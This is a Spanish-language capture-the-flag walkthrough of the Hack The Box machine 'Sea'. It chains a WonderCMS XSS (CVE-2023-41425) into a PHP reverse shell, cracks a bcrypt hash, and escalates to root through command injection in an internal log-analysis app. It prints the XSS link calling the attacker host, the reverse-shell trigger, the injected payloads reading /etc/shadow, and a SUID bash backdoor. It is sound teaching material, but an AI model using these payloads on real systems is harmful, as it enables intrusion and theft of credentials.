Descripción

Sea es una máquina fácil de Hack The Box que contiene las siguientes vulnerabilidades:

  • Ejecución remota de comandos utilizando una vulnerabilidad de secuencia de comandos cruzados en la aplicación WonderCMS
  • Rotura de un hash de una contraseña débil que permite iniciar sesión como un usuario Linux
  • Escalada de privilegios mediante una inyección de comandos en una aplicación HTTP interna de monitorización

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.214.57.

$ ping -c 3 10.129.214.57
PING 10.129.214.57 (10.129.214.57) 56(84) bytes of data.
64 bytes from 10.129.214.57: icmp_seq=1 ttl=63 time=44.0 ms
64 bytes from 10.129.214.57: icmp_seq=2 ttl=63 time=44.5 ms
64 bytes from 10.129.214.57: icmp_seq=3 ttl=63 time=104 ms

--- 10.129.214.57 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.992/64.182/104.082/28.214 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.214.57 -Pn -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.214.57
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

Nmap done: 1 IP address (1 host up) scanned in 1730.19 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.214.57 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for sea.htb (10.129.214.57)
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.37 seconds

Obtenemos dos servicios: un Secure Shell (SSH) y otro de Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH nos vamos a mover al servicio HTTP. Encontramos el dominio del servicio HTTP, sea.htb. Así que lo agregamos al archivo /etc/hosts.

$ echo "10.129.214.57 sea.htb" | sudo tee -a /etc/hosts

Encontramos una página web sobre una empresa dedicada a organizar carreras de bicicletas. Tenemos un enlace con instrucciones para participar, rellenando un formulario ubicado en la página http://sea.htb/contact.php. Enumerando el código fuente de la web, no encontramos si la página está utilizando un CMS, pero parece que sí. Encontramos la hoja de estilo utilizada en la web en la página http://sea.htb/themes/bike/css/style.css. Al enumerar nombres de archivos comunes encontramos el archivo README.md en la carpeta bike.

$ curl http://sea.htb/themes/bike/README.md                      
# WonderCMS bike theme

## Description
Includes animations.

## Author: turboblack

## Preview
![Theme preview](/preview.jpg)

## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.

Esto nos muestra que la página web está utilizando el sistema de gestión de contenidos WonderCMS. Al ir a la página contact.php encontramos el formulario que podemos enviar. Nos fijamos en la descripción anterior, ya que podemos opcionalmente agregar nuestro sitio web. Esto significa que el sitio web puede ser visitado desde el otro lado. Vamos a crear un puerto de escucha en el puerto 80 y enviar el formulario para comprobar si recibimos una respuesta de vuelta.

$ nc -nvlp 80

Después de unos minutos, recibimos de vuelta una solicitud de un navegador de Google Chrome de fondo.

$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.43] from (UNKNOWN) [10.129.214.57] 41668
GET /test HTTP/1.1
Host: 10.10.14.43
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate

Explotación

Las versiones de WonderCMS 3.2.0 a 3.4.2 permiten a un atacante remoto ejecutar código arbitrario mediante un script personalizado subido al componente installModule utilizando una vulnerabilidad de inyección de script entre sitios, CVE-2023-41425. Tenemos una prueba de concepto de la vulnerabilidad creada por prodigiousMind. El script de explotación creará un script XSS (y luego lo alojará en un servidor HTTP) y un enlace que se enviará al administrador de la página web para que la vulnerabilidad suceda.

$ git clone https://github.com/prodigiousMind/CVE-2023-41425
$ cd CVE-2023-41425
$ python3 exploit.py http://sea.htb/loginURL 10.10.14.43 1234
[+] xss.js is created
[+] execute the below command in another terminal

----------------------------
nc -lvp 1234
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.43:8000/xss.js"></script><form+action="
----------------------------


starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Arrancamos el puerto de escucha.

nc -nlvp 1234

Y luego reenviamos el formulario, pero ahora con el enlace generado http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.43:8000/xss.js"></script><form+action=". Con este script no estamos recibiendo una terminal inversa, pero la vulnerabilidad está subiendo el archivo PHP de la terminal inversa a /themes/revshell-main/rev.php. Entonces podemos activarlo manualmente, con el parámetro lhost como la dirección IP de escucha y el parámetro lport como el número del puerto del escucha.

$ curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.43&lport=1234'

Recibimos de vuelta una terminal inversa como el usuario www-data.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.43] from (UNKNOWN) [10.129.214.57] 46646
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 23:00:32 up  3:49,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Después de actualizar la consola podemos listar los usuarios de la consola en el sistema.

Post-Explotación

Como usuarios de consola, encontramos root, amay y geo.

www-data@sea:/$ grep "bash" /etc/passwd
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash

Mirando en la raíz del sitio web, en la ruta /var/www/, encontramos la base de datos de la página web en el archivo database.js ubicado en /var/www/sea/data.

www-data@sea:/$ cat /var/www/sea/data/database.js 
{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",

Encontramos la contraseña hasheada del usuario administrador., $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q por lo que la rompemos.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)     
1g 0:00:00:06 DONE 0.1623g/s 514.2p/s 514.2c/s 514.2C/s iamcool..heaven1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Después de unos segundos, encontramos la contraseña del usuario administrador mychemicalromance. Verificamos que esta contraseña es reutilizada para el usuario amay, así que podemos iniciar sesión en la máquina utilizando SSH.

$ sshpass -p mychemicalromance ssh amay@sea.htb

Enumerando los puertos abiertos, encontramos uno localizado en localhost, el puerto 8080.

amay@sea:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:58877         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Vamos a realizar un mapeo de puerto local sobre SSH para mapear este puerto a nuestro puerto local 4444.

$ sshpass -p mychemicalromance ssh -N -L 127.0.0.1:4444:127.0.0.1:8080 amay@sea.htb

Si visitamos este nuevo servicio con un navegador web, encontramos una autenticación de HTTP básica. Encontramos que las credenciales amay:mychemicalromance son reutilizadas y podemos acceder a la página web. Encontramos la aplicación web de System Monitor que nos permite realizar algunas tareas de mantenimiento en el sistema y leer los archivos access.log y auth.log. Si enviamos una solicitud para analizar el archivo del registro, encontramos en la solicitud que se refiere al archivo /var/log/apache2/access.log. Podemos intentar cambiar el parámetro de log_file en la solicitud al punto / a otro archivo, como /etc/shadow. Si podemos leer este archivo, estaremos seguros de que la aplicación está ejecutándose con los permisos del usuario root.

$ curl -u 'amay:mychemicalromance' -X 'POST' --data 'log_file=/etc/shadow&analyze_log=' -x http://127.0.0.1:8080 'http://127.0.0.1:4444/'


...
            systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
systemd-coredump:!!:19774::::::
amay:$6$S1AGe5ex2k4D5MKa$gTclSeJwvND3FINpZaK0zfUqk6T9IkhlxCn17fNWLx56u.zP/f/4e5YrJRPsM3TRuuKXQDfYL44RyPzduexsm.:19775:0:99999:7:::
<p class='error'>Suspicious traffic patterns detected in /etc/shadow:</p><pre>amay:$6$S1AGe5ex2k4D5MKa$gTclSeJwvND3FINpZaK0zfUqk6T9IkhlxCn17fNWLx56u.zP/f/4e5YrJRPsM3TRuuKXQDfYL44RyPzduexsm.:19775:0:99999:7:::</pre>        </div>

    </div>
</body>
</html>

Estamos obteniendo parte del archivo. Si pudiéramos realizar una inyección de comandos de esta forma, tendríamos permisos completos sobre la máquina. Una simple inyección de comandos está funcionando, creando el archivo test en el directorio /tmp.

$ curl -u 'amay:mychemicalromance' -X 'POST' --data 'log_file=/etc/hostname;echo hello>/tmp/test&analyze_log=' 'http://127.0.0.1:4444/'

En la máquina remota:

amay@sea:~$ ls /tmp/test
/tmp/test

Podemos aprovechar esta vulnerabilidad para crear un binario SUID Bash en el directorio /tmp y luego obtener una consola de root desde la cuenta del usuario amay. Necesitamos codificar el carácter + a %2B para que la inyección funcione.

$ curl -u 'amay:mychemicalromance' -X 'POST' --data 'log_file=/etc/hostname;cp /bin/bash /tmp/bash-p;chmod %2bs /tmp/bash-p&analyze_log=' -x http://127.0.0.1:8080 'http://127.0.0.1:4444/'

Entonces volvemos al sesión de SSH, y obtendremos una consola de root.

amay@sea:~$ /tmp/bash-p -p
bash-p-5.0# whoami
root

Flags

En la consola de root, podemos obtener las flags de usuario (user) y de super-usuario (root).

bash-p-5.0# cat /home/amay/user.txt 
<REDACTED>
bash-p-5.0# cat /root/root.txt 
<REDACTED>